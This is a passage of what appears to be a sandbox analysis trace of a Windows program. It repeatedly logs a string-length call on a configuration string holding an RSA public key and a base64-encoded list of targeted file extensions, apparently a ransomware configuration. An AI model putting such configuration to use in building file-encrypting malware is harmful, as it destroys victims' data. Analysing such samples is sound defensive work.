lLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxb